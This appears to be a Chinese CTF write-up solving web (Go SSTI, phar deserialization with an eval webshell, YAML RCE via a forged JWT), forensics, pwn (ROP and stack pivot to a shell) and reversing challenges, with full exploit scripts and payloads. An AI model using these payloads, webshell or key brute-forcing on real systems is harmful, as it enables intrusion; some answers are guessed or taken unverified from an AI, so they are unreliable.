ssti

题目考点

go语法的ssti

解题思路

经过多种测试最后发现是go模板

pic
发现有两个函数可以用exec以及B64Decode

最后payload:{{\"Y2F0IC9mbGFn\" \| B64Decode \| exec}}

pic

FLAG

pic

easy_readfile

考点

文件包含+phar反序列化+通配符软链接提权

解题思路

include phar trick可以搜索到生成恶意phar文件的脚本

pic

但我们需要把执行whoami命令那一部分改成@eval($_POST[2]);
方便后面使用蚁剑getshell

运行之后将生成一个exploit.phar文件

然后把phar文件用gzip压缩(绕过关键字过滤),改文件后缀名

接下来总的wxp利用思路如下:

上传生成的恶意exploit.phar.gz文件到服务器

触发phar反序列化漏洞让服务器主动读取上传的恶意文件

import requests
import urllib.parse
import re
def send_first_request():
"""第一条命令: 上传exploit.phar文件内容""" print("执行第一条命令: 上传exploit.phar文件内容")

# 读取exploit.phar文件内容并进行URL编码
with open("exploit.phar.gz", "rb") as f:
file_content = f.read()
encoded_content = file_content

# 发送请求
url = "http://web-9b814368d4.challenge.xctf.org.cn:80/"
data = {
"0": encoded_content,
"1": 'O:7:"Acheron":1:{s:4:"mode";s:1:"w";}'
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}

try:
response = requests.post(url, data=data, headers=headers, timeout=30)
filename=re.findall(r"\/tmp\/\w+\.phar", response.text)
print(filename[0])
return filename[0]
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return None

def send_second_request(filename):
"""第二条命令: 上传文件路径""" print("\n执行第二条命令: 上传文件路径")

url = "http://web-9b814368d4.challenge.xctf.org.cn:80/"
data = {
"0":f"{filename}",
"1": 'O:7:"Acheron":1:{s:4:"mode";s:1:"r";}'
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(url, data=data, headers=headers, timeout=30)
return response.text

def main():
print("开始执行两条curl命令的Python版本")
print("=" * 50)

# 执行第一条命令
result1 = send_first_request()
print(result1)
print("\n" + "=" * 50)

# 执行第二条命令
result2 = send_second_request(result1)

print("\n" + "=" * 50)
print("执行完成")

if __name__ == "__main__":
main()

image4.png

运行完exp即可连接蚁剑,但是要注意配置如下:

image5.png

image6.png

上面是上传到服务器的文件路径

下面的value原因如下:

image7.png

根据源码有r模式以及w模式,r模式就是include;w模式就是写,我们选择文件包含,即可成功连接

但最后发现还需要提权,这里我们使用通配符+软链接提权

image8.png

FLAG

image9.png

ez_python

考点

打开是一个可以上传文件的页面 同时有yaml关键字,猜测yaml反序列化

解题思路

/auth查找网页token

image9.png

jwt解密:

image10.png

找到一个利用姿势:

image11.png

上传yaml的payload

image12.png

bp抓包,然后把token改成网页的token查看回显

image13.png

发现只有admin才有权限名命令执行,于是得伪造token

我们先尝试删除token的一部分

image14.png

这里很特殊,它会回显密钥,但是最后两位是不知道的,于是要根据jwt的算法来爆破出完整的密钥

爆破脚本:

import jwt
import itertools
import string

jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
base_key = "@o70xO$0%#qR9#"
charset = string.ascii_letters + string.digits # a-z, A-Z, 0-9

print(f"开始暴力破解,密钥前缀: {base_key}")
print(f"字符集: {charset}")
print(f"总共需要尝试: {len(charset) ** 2} 种组合")

found = False
count = 0

for combo in itertools.product(charset, repeat=2):
count += 1
candidate = base_key + ''.join(combo)

# 每100次尝试显示一次进度
if count % 100 == 0:
print(f"已尝试 {count} 次,当前候选: {candidate}")

try:
# 尝试解码
decoded = jwt.decode(jwt_token, candidate, algorithms=["HS256"])
print(f"\n✅ 找到密钥: {candidate}")
print(f"✅ 解码内容: {decoded}")
found = True
break

except jwt.InvalidSignatureError:
# 签名无效,继续尝试
continue

except jwt.ExpiredSignatureError:
print(f"令牌已过期,但密钥可能正确: {candidate}")
found = True
break

except Exception as e:
print(f"❌ 错误 with {candidate}: {e}")
continue

if not found:
print(f"\n❌ 在 {count} 次尝试后未找到有效密钥")
print("请检查:")
print("1. JWT令牌是否正确")
print("2. 密钥前缀是否正确")
print("3. 是否确实使用HS256算法")

image15.png

成功爆破出密钥,然后就可以轻松伪造admin身份

image16.png

但是后面发现一开始上传的yaml无法直接getshell,结合互联网以及ai测试出可以利用的payload:

image17.png

修改命令执行部分即可获得flag

!!python/object/apply:subprocess.check_outputargs: [‘cat /fllllag’]kwds: {shell: True}

Checkwebshell

考点

流量分析

解题思路

搜flag字符串 http contains "flag.txt" ,追踪http流得到flag加密流程

image18.png

结合大模型得到解密脚本,得到flag{1ac380d6-5820-4e1a-b40e-ddf1789f6b0d}

脚本:

<?php
class SM4 {
// 定义模式常量,1为加密,0为解密
const ENCRYPT = 1;
const DECRYPT = 0;

private $sk;
// SM4标准参数,无需改动
private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
private static $CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
];
private static $SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76,
0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A,
0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA,
0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E,
0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC, 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66,
0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27, 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB,
0xC4, 0x94, 0x3B, 0x0C, 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18,
0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40, 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61,
0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08, 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A,
0x47, 0x5C, 0x0D, 0xEA, 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
];

public function __construct($key) {
$this->setKey($key);
}

public function setKey($key) {
if (strlen($key) != 16) {
throw new Exception("SM4 key must be 16 bytes long");
}
$keyIntArray = $this->strToIntArray($key);
$k = array_merge($keyIntArray, array_fill(0, 32, 0));

$k[0] ^= self::$FK[0];
$k[1] ^= self::$FK[1];
$k[2] ^= self::$FK[2];
$k[3] ^= self::$FK[3];

for ($i = 0; $i < 32; $i++) {
$k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
$this->sk[$i] = $k[$i + 4];
}
}

public function encrypt($plaintext) {
$len = strlen($plaintext);
$padding = 16 - ($len % 16);
$plaintext .= str_repeat(chr($padding), $padding);
$ciphertext = '';
for ($i = 0; $i < strlen($plaintext); $i += 16) {
$block = substr($plaintext, $i, 16);
$ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
}
return $ciphertext;
}

/**
* 新增解密函数
*/
public function decrypt($ciphertext) {
$plaintext = '';
for ($i = 0; $i < strlen($ciphertext); $i += 16) {
$block = substr($ciphertext, $i, 16);
$plaintext .= $this->cryptBlock($block, self::DECRYPT);
}
// 处理PKCS#7填充
$pad = ord(substr($plaintext, -1));
if ($pad > 0 && $pad <= 16) {
$plaintext = substr($plaintext, 0, -$pad);
}
return $plaintext;
}

/**
* 修改核心加密/解密块,根据模式选择轮密钥顺序
*/
private function cryptBlock($block, $mode) {
$x = $this->strToIntArray($block);

// 解密时,轮密钥逆序使用
$roundKeys = ($mode == self::ENCRYPT) ? $this->sk : array_reverse($this->sk);

for ($i = 0; $i < 32; $i++) {
$roundKey = $roundKeys[$i];
$x[] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
array_shift($x);
}

$x = array_reverse($x);
return $this->intArrayToStr($x);
}

// 以下函数与原脚本相同,无需修改
private function F($x1, $x2, $x3, $rk) {
return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
}

private function CKF($a, $b, $c, $ck) {
return $a ^ $this->T($b ^ $c ^ $ck);
}

private function T($x) {
return $this->L($this->S($x));
}

private function S($x) {
$result = 0;
for ($i = 0; $i < 4; $i++) {
$byte = ($x >> (24 - $i * 8)) & 0xFF;
$result |= self::$SboxTable[$byte] << (24 - $i * 8);
}
return $result;
}

private function L($x) {
return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
}

private function rotl($x, $n) {
return (($x << $n) | ($x >> (32 - $n))) & 0xFFFFFFFF;
}

private function strToIntArray($str) {
$result = [];
for ($i = 0; $i < 4; $i++) {
$offset = $i * 4;
$result[$i] =
(ord($str[$offset]) << 24) |
(ord($str[$offset + 1]) << 16) |
(ord($str[$offset + 2]) << 8) |
ord($str[$offset + 3]);
}
return $result;
}

private function intArrayToStr($array) {
$str = '';
foreach ($array as $int) {
$str .= chr(($int >> 24) & 0xFF);
$str .= chr(($int >> 16) & 0xFF);
$str .= chr(($int >> 8) & 0xFF);
$str .= chr($int & 0xFF);
}
return $str;
}
}

// === 解密主程序 ===
try {
// 密钥
$key = "a8a58b78f41eeb6a";
// Base64编码的密文
$base64_ciphertext = "VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu";

// 1. Base64解码
$ciphertext = base64_decode($base64_ciphertext);

// 2. 初始化SM4类
$sm4 = new SM4($key);

// 3. 调用解密函数
$decrypted_flag = $sm4->decrypt($ciphertext);

// 4. 输出结果
echo "Decrypted Flag: " . $decrypted_flag . "\n";
// 预期输出: flag{b130a716-1234-4113-9114-5141919810ab}

} catch (Exception $e) {
echo 'Error: ' . $e->getMessage() . "\n";
}

?>

image19.png

Flag

image20.png

SilentMiner

考点

磁盘取证

解题思路

每个问题都是一个单独的flag:

第一问找到/var/log/auth.log直接喂给ai得到答案192.168.145.131

image21.png

image22.png
第二问

用脚本批量处理auth.log

import re
from collections import defaultdict


def count_ssh_failed(log_file_path):
""" 处理本地导出的日志文件,统计SSH密码爆破失败次数
Args: log_file_path (str): 本地导出的日志文件路径(如:./ssh_logs.txt) """ # 匹配SSH密码失败日志的正则(兼容正常用户/无效用户,提取用户、IP、端口)
ssh_failed_re = re.compile(
r"sshd\[\d+\]: Failed password for (?:invalid user )?(\w+) from (\d+\.\d+\.\d+\.\d+) port (\d+) ssh2"
)

# 统计容器初始化
total_fail = 0 # 总失败次数
user_fail = defaultdict(int) # 各用户失败次数:{用户名: 次数}
ip_detail = defaultdict(lambda: defaultdict(list)) # IP详情:{IP: {用户名: [端口1, 端口2...]}}

# 读取并解析本地日志文件
try:
with open(log_file_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
match = ssh_failed_re.search(line)
if not match:
continue # 非SSH失败日志,跳过

# 提取关键信息
username = match.group(1)
ip = match.group(2)
port = match.group(3)

# 更新统计数据
total_fail += 1
user_fail[username] += 1
ip_detail[ip][username].append(port)

# 整理IP详情(去重端口,方便查看)
ip_summary = {}
for ip, user_ports in ip_detail.items():
ip_summary[ip] = {}
for user, ports in user_ports.items():
ip_summary[ip][user] = {
"攻击次数": len(ports),
"使用端口": list(set(ports)) # 端口去重,避免重复显示
}

# 打印统计结果
print("=" * 60)
print(f"本地日志文件:{log_file_path}")
print("SSH 密码爆破失败统计结果")
print("=" * 60)

print(f"\n1. 总失败次数:{total_fail}")

print(f"\n2. 各用户失败次数:")
if user_fail:
for user, count in sorted(user_fail.items(), key=lambda x: x[1], reverse=True):
print(f" - {user}: {count} 次")
else:
print(" - 未找到SSH密码失败日志")

print(f"\n3. 攻击IP详情(按总攻击次数排序):")
if ip_summary:
# 按IP总攻击次数降序排列
ip_total = {ip: sum(info["攻击次数"] for info in user_info.values())
for ip, user_info in ip_summary.items()}
sorted_ips = sorted(ip_total.items(), key=lambda x: x[1], reverse=True)

for ip, total in sorted_ips:
print(f"\n IP: {ip}(总攻击次数:{total})")
for user, info in ip_summary[ip].items():
ports_str = ", ".join(info["使用端口"]) if info["使用端口"] else "无"
print(f" - 目标用户:{user} | 攻击次数:{info['攻击次数']} | 使用端口:{ports_str}")
else:
print(" - 未找到攻击IP记录")

print("\n" + "=" * 60)

except FileNotFoundError:
print(f"错误:文件 {log_file_path} 不存在!请检查文件路径是否正确。")
except PermissionError:
print(f"错误:没有读取 {log_file_path} 的权限!请调整文件权限后重试。")
except Exception as e:
print(f"解析日志时出错:{str(e)}")


# 主函数:直接指定本地日志文件路径
if __name__ == "__main__":
# -------------------------- 关键:修改为你的本地日志文件路径 --------------------------
# 示例1:如果日志文件和脚本在同一文件夹,直接写文件名
# log_file = "ssh_export.log"
# 示例2:如果日志文件在其他路径,写完整路径(Windows用双反斜杠,Linux用斜杠)
# log_file = "C:\\Users\\XXX\\Documents\\ssh_logs.txt" # Windows
log_file = r"C:\Users\12948\Desktop\auth.log" # Linux/Mac
# -----------------------------------------------------------------------------------

# 执行统计
count_ssh_failed(log_file)

image23.png

可以发现共257次,但是257并不是最终答案所以试了一下257附近的几个数字发现最终答案为258

第三问同理和第一问一起auth.log喂给ai得到答案/usr/sbin/sshd

image24.png

第四问找到/home/lee/.bash_history和/var/log/dnsmasq.log,喂给ai,得到答案tombaky.com

image25.png

第五问也是ai重新思考后得到正确答案kinsing

image26.png

ood_canary

典型的栈溢出 + ROP链 + 栈迁移

先通过 b"exec" + b"\x00" * (0x30 - 4) + p64(bss) +
p64(puts_plt)泄露libc地址

然后构造ROP链并栈迁移,同时通过栈迁移避开Canary检查

payload = b"exec" + b"\x00" * 4

payload += p64(pop_rdi) # pop rdi; ret

payload += p64(bin_sh) # /bin/sh字符串地址

payload += p64(system) # system函数地址

payload += p64(0) * 2 # 填充

payload += p64(bss - 0x30) # 新的栈指针(栈迁移目标)

payload += p64(leave_ret) # leave; ret 完成栈迁移

exp:


from pwn import \*

context(log_level=\'debug\')

elf = ELF(\'./odd_canary\')

libc = ELF(\'./libc.so.6\')

p=remote(\"pwn-03557af958.challenge.xctf.org.cn\", 9999, ssl=True)

\# 定义辅助函数

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)

it = lambda: p.interactive()

uu32 = lambda: u32(p.recvuntil(b\'\\xff\')\[-4:\].ljust(4, b\'\\x00\'))

uu64 = lambda : u64(p.recvuntil(b\'\\x7f\')\[-6:\].ljust(8,b\'\\x00\'))

ru = lambda x : p.recvuntil(x)

rc = lambda x : p.recv(x)

sd = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

lg = lambda s : log.info(\'\\033\[01;38;5;214m %s \--\> 0x%x \\033\[0m\'
% (s, eval(s)))

bss = 0x404080 - 8

puts_plt = 0x40143B

\# 选择vuln选项

p.sendlineafter(b\"Choose (good/vuln/exit): \", b\"vuln\")

\# 构造泄漏payload

payload = b\"exec\" + b\"\\x00\" \* (0x30 - 4) + p64(bss) +
p64(puts_plt)

p.recvuntil(b\"Enter your payload: \")

p.send(payload)

p.recvuntil(b\"exec\\n\")

\# 接收泄漏的地址

leak = u64(p.recv(6).ljust(8, b\"\\x00\"))

print(leak)

libc_base = leak - libc.sym\[\'funlockfile\'\]

\# 直接计算system和bin_sh地址(去掉get_sb函数)

system = libc_base + libc.sym\[\'system\'\]

bin_sh = libc_base + next(libc.search(b\"/bin/sh\\x00\"))

pop_rdi = libc_base + 0x000000000002a3e5

leave_ret = 0x0000000000040134a

lg(\'libc_base\')

lg(\'system\')

lg(\'bin_sh\')

lg(\'pop_rdi\')

\# 构造getshell payload

payload = b\"exec\" + b\"\\x00\" \* 4

payload += p64(pop_rdi)

payload += p64(bin_sh)

payload += p64(system)

payload += p64(0) \* 2

payload += p64(bss - 0x30)

payload += p64(leave_ret)

p.send(payload)

sleep(3)

p.send(b\'ls\')

p.interactive()

image27.png

hardtest

首先反编译main函数

image28.png

通过分析得到加密算法逻辑:

第一层加密(sub_1492):对每个字符进行左旋转变换,密钥循环使用1-7

第二层加密(sub_13E1):

与0x5A进行XOR操作

左旋转3位

字节高低4位分别进行数学变换(3倍和5倍模16)

模257下的模逆运算

右旋转2位

AES S-box查找替换

根据这个加密逻辑逆推出解密逻辑:

第一层:循环右旋 (sub_1492)

第二层:XOR操作

第三层:循环左旋

第四层:半字节操作

第五层:模运算

第六层:循环右旋

第七层:AES S-box替换

总的话就是:

加密流程: 原始字节 → 循环右旋 → XOR → 循环左旋 → 半字节操作 → 模运算 →
循环右旋 → S-box → 密文

解密流程: 密文 → S-box反向 → 循环左旋 → 模逆运算 → 半字节反向 → 循环右旋
→ XOR → 循环左旋 → 原始字节

脚本:

# Decryption script for the CTF challenge
# The encrypted flag is stored at memory address 0x2120

# Encrypted flag bytes from memory
encrypted_flag = [
0x97, 0xd5, 0x60, 0x43, 0xb4, 0x10, 0x43, 0x73, 0x0f, 0xda,
0x43, 0xcd, 0xd3, 0xe8, 0x73, 0x4a, 0x94, 0xc3, 0xcd, 0x71,
0xbd, 0xdc, 0x97, 0x1a
]

# AES S-box (from memory address 0x2020)
s_box = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

def right_rotate(byte, bits):
"""Right rotate a byte by specified number of bits"""
return ((byte >> bits) | (byte << (8 - bits))) & 0xFF

def left_rotate(byte, bits):
"""Left rotate a byte by specified number of bits"""
return ((byte << bits) | (byte >> (8 - bits))) & 0xFF

def modular_inverse(a, mod=257):
"""Calculate modular inverse using Fermat's little theorem"""
if a == 0:
return 0
return pow(a, 255, mod) # 257 is prime, so φ(257)=256, a^255 ≡ a^{-1} mod 257

def reverse_nibble_manipulation(byte):
"""Reverse the nibble manipulation operation"""
# Original: (16 * ((3 * (v1 >> 4)) & 0xF)) | (5 * (v1 & 0xF)) & 0xF
# We need to solve for v1 given the result
high_nibble = byte >> 4
low_nibble = byte & 0xF

# The operation was: result_high = (3 * original_high) & 0xF
# result_low = (5 * original_low) & 0xF
# So we need to find inverses mod 16

# Find original_high such that (3 * original_high) ≡ high_nibble mod 16
# 3 and 16 are coprime, inverse of 3 mod 16 is 11 (since 3*11=33≡1 mod 16)
original_high = (high_nibble * 11) & 0xF

# Find original_low such that (5 * original_low) ≡ low_nibble mod 16
# 5 and 16 are coprime, inverse of 5 mod 16 is 13 (since 5*13=65≡1 mod 16)
original_low = (low_nibble * 13) & 0xF

return (original_high << 4) | original_low

def decrypt_byte(encrypted_byte, position):
"""Decrypt a single byte by reversing all operations"""
# Reverse the operations in sub_13E1

# Step 1: Reverse AES S-box lookup
# Find the index in s_box that gives encrypted_byte
s_box_index = s_box.index(encrypted_byte)

# Step 2: Reverse right rotation by 2 bits
byte_after_rotate = left_rotate(s_box_index, 2)

# Step 3: Reverse modular exponentiation (this is the modular inverse)
byte_after_modular = modular_inverse(byte_after_rotate)

# Step 4: Reverse nibble manipulation
byte_after_nibble = reverse_nibble_manipulation(byte_after_modular)

# Step 5: Reverse left rotation by 3 bits
byte_after_xor_rotate = right_rotate(byte_after_nibble, 3)

# Step 6: Reverse XOR with 0x5A
byte_after_first_layer = byte_after_xor_rotate ^ 0x5A

# Step 7: Reverse first layer rotation (sub_1492)
# The key cycles through 1-7 based on position
key = (position % 7) + 1
original_byte = right_rotate(byte_after_first_layer, key)

return original_byte

# Decrypt the flag
decrypted_flag = []
for i, encrypted_byte in enumerate(encrypted_flag):
decrypted_byte = decrypt_byte(encrypted_byte, i)
decrypted_flag.append(decrypted_byte)

# Convert to string
flag = ''.join(chr(b) for b in decrypted_flag)
print(f"Decrypted flag: {flag}")

运行脚本得到flag: Bl@st1ng_1s_a_g00d_Way!!

image29.png